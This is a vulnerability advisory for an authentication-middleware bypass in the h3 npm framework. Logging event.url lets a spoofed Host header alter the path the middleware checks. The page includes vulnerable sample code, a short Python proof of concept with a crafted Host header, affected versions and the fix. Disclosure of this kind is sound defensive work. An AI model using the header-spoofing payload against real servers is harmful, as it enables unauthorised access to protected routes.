Skip to content

GHSA-3vj8-jmxq-cgj5 CVE-2026-33131

h3 has a middleware bypass with one gadget

Critical npm
Severity
7.4 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.40%
Chance of exploitation in the next 30 days. Higher than 33.73% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-290 Authentication Bypass by Spoofing
Fix
2.0.1-rc.15
Upgrade h3 to this version or later

Description

H3 NodeRequestUrl bugs

Vulnerable pieces of code :

import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()

const internalOnly = defineHandler((event, next) => {
  const token = event.headers.get("x-internal-key");

  if (token !== "SUPERRANDOMCANNOTBELEAKED") {
    return new Response("Forbidden", { status: 403 });
  }

  return next();
});
const logger = defineHandler((event, next) => {
    console.log("Logging : " +  event.url.hostname)
    return next() 
})
app.use(logger);
app.use("/internal/run", internalOnly);


app.get("/internal/run", () => {
  return "Internal OK";
});

serve(app, { port: 3001 });

The middleware is super safe now with just a logger and a middleware to block internal access. But there's one problems here at the logger . When it log out the event.url or event.url.hostname or event.url._url

It will lead to trigger one specials method

// _url.mjs FastURL
get _url() {
    if (this.#url) return this.#url;
    this.#url = new NativeURL(this.href);
    this.#href = void 0;
    this.#protocol = void 0;
    this.#host = void 0;
    this.#pathname = void 0;
    this.#search = void 0;
    this.#searchParams = void 0;
    this.#pos = void 0;
    return this.#url;
}

The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!

And as debugging , the this.#url is null and will reach to this code :

 this.#url = new NativeURL(this.href);

Where is the this.href comes from ?

get href() {
    if (this.#url) return this.#url.href;
    if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
    return this.#href;
}

Because the this.#url is still null so this.#href is built up by :

if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;

Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .

Middleware bypass

What can be done with overwriting the event.url? Audit the code we can easily realize that the routeHanlder is found before running any middlewares

handler(event) {
    const route = this["~findRoute"](event);
    if (route) {
        event.context.params = route.params;
        event.context.matchedRoute = route.data;
    }
    const routeHandler = route?.data.handler || NoHandler;
    const middleware = this["~getMiddleware"](event, route);
    return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}

So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS

We have this poc :

import requests
url = "http://localhost:3000"
headers = {
    "Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)

This is really dangerous if some one just try to dump all the event.url or something that trigger _url() from class FastURL and need a fix immediately.

Affected versions

npm

PackageVulnerableFixed in
h3
>= 2.0.0-0, < 2.0.1-rc.15
2.0.1-rc.15
h3
>= 2.0.0-0, < 2.0.1-rc.15
2.0.1-rc.15

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

h3 npm → 2.0.1-rc.15

npm
npm install h3@2.0.1-rc.15
yarn
yarn add h3@2.0.1-rc.15
pnpm
pnpm add h3@2.0.1-rc.15

Severity breakdown

CVSS 3.1 7.4

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-290: Authentication Bypass by Spoofing

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-fp4x-ggrf-wmc6
H3 has an Open Redirect via Protocol-Relative Path in redirectBack() Referer Validation
Medium Also affects h3
GHSA-q5pr-72pq-83v3
H3: Unbounded Chunked Cookie Count in Session Cleanup Loop may Lead to Denial of Service
High Also affects h3
GHSA-4hxc-9384-m385
h3: SSE Event Injection via Unsanitized Carriage Return (`\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)
Medium Also affects h3
GHSA-2j6q-whv2-gh6w
h3: Missing Path Segment Boundary Check in `mount()` Causes Middleware Execution on Unrelated Prefix-Matching Routes
Medium Also affects h3
GHSA-72gr-qfp7-vwhw
h3: Double Decoding in `serveStatic` Bypasses `resolveDotSegments` Path Traversal Protection via `%252e%252e`
High Also affects h3
GHSA-wr4h-v87w-p3r7
h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read
High Also affects h3
GHSA-26f5-8h2x-34xh
h3 has an observable timing discrepancy in basic auth utils
Medium Also affects h3
GHSA-22cc-p3c6-wpvm
h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields
Critical Also affects h3

Credits: hibwyli

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor